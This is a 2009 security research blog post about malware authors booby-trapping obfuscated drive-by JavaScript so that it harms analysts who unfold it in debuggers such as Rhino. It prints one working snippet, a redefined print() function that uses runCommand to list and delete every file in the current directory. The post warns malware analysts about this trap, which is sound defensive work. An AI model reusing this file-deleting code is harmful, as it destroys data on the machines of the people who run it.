by RSS David Maciejak  |  Apr 02, 2009  |  Filed in: Security Research

In today's context, where the majority of Zombie infections occur via victim's browser exploitation (aka "drive-by install"), a Cyber Guerilla is taking place between malware analysts and Web Exploitation Toolkits developers. The latter used to merely resort to counter-measures (such as dynamic obfuscation or code splitting) in order to hinder the analysis of the malicious javascripts embedded in their exploitation toolkits. But it seems they have now entered a genuinely more aggressive phase, which involves booby-trapping the malicious javascripts with deleterious commands very much aimed at analysts.

Indeed, cybercriminals are aware that the analysts like to run the malicious, obfuscated scripts in standalone javascript interpreters/debuggers such as Malzilla or Rhino, in order to "unfold" them step by step, layer after layer. Therefore, they started to include debugger-specific built-in commands within the scripts, such as 'quit()'. When run in a victim browser, the instruction is ignored (remember, it is specific to the targeted debugger), but does trigger early termination of the script when run in a debugger.

Granted, although annoying, this is harmless. But the cybercriminals did not stop here. They also noted that a very frequent strategy employed by malware analysts to "unfold" a multi-layer obfuscation was to replace original calls to "eval()" by calls to "print()", in order to reveal the set of instructions of the next obfuscation layer. Cunningly, they therefore "redefined" the print() function in their malicious script -- which is permited by the language, and called "overloading" a function, in object-oriented contexts. Here is an example of such a redefined print() function:

function print (str) { var opt={input: "", output:""} runCommand("ls", opt) var tab=opt.output.split(new RegExp("\n","g")); for (var i=0; i<tab.length-1;i++) { runCommand("rm", tab[i]); } }

Pretty straightforward. This piece of code resorts to the debugger-specific, built-in command "runCommand()" to access shell commands. But not "any" shell command. Precisely, it calls 'ls' and 'rm', in order to happily list all files in the current directory and delete them. KABOOM. And now I'm sure that the next time you substitute an "eval()" by "print()", you will think twice. And that you may even feel like a mighty Egyptologist entering a well defended tomb in a hollywood movie, as your trembling hand will hit the return key...

...BOO! Just kidding.

-- David Maciejak / Guillaume Lovet

by RSS David Maciejak  |  Apr 02, 2009  |  Filed in: Security Research